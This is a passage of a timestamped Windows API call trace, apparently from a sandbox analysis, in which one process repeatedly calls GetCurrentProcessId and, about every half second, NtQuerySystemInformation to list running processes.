GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.211] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.212] GetCurrentProcessId () returned 0x10c0 [0294.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.822] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.823] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.824] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.825] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0294.826] GetCurrentProcessId () returned 0x10c0 [0295.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0295.388] GetCurrentProcessId () returned 0x10c0 [0295.388] GetCurrentProcessId () returned 0x10c0 [0295.388] GetCurrentProcessId () returned 0x10c0 [0295.388] GetCurrentProcessId () returned 0x10c0 [0295.388] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.389] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.390] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.391] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.392] GetCurrentProcessId () returned 0x10c0 [0295.930] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.932] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.933] GetCurrentProcessId () returned 0x10c0 [0295.934] GetCurrentProcessId () returned 0x10c0 [0295.934] GetCurrentProcessId () returned 0x10c0 [0295.934] GetCurrentProcessId () returned 0x10c0 [0295.934] GetCurrentProcessId () returned 0x10c0 [0295.934] GetCurrentProcessId () returned 0x10c0 [0295.934] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.935] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.936] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0295.937] GetCurrentProcessId () returned 0x10c0 [0296.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.471] GetCurrentProcessId () returned 0x10c0 [0296.472] GetCurrentProcessId () returned 0x10c0 [0296.472] GetCurrentProcessId () returned 0x10c0 [0296.472] GetCurrentProcessId () returned 0x10c0 [0296.472] GetCurrentProcessId () returned 0x10c0 [0296.472] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.473] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.474] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.475] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.476] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0296.477] GetCurrentProcessId () returned 0x10c0 [0297.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.030] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.031] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.032] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 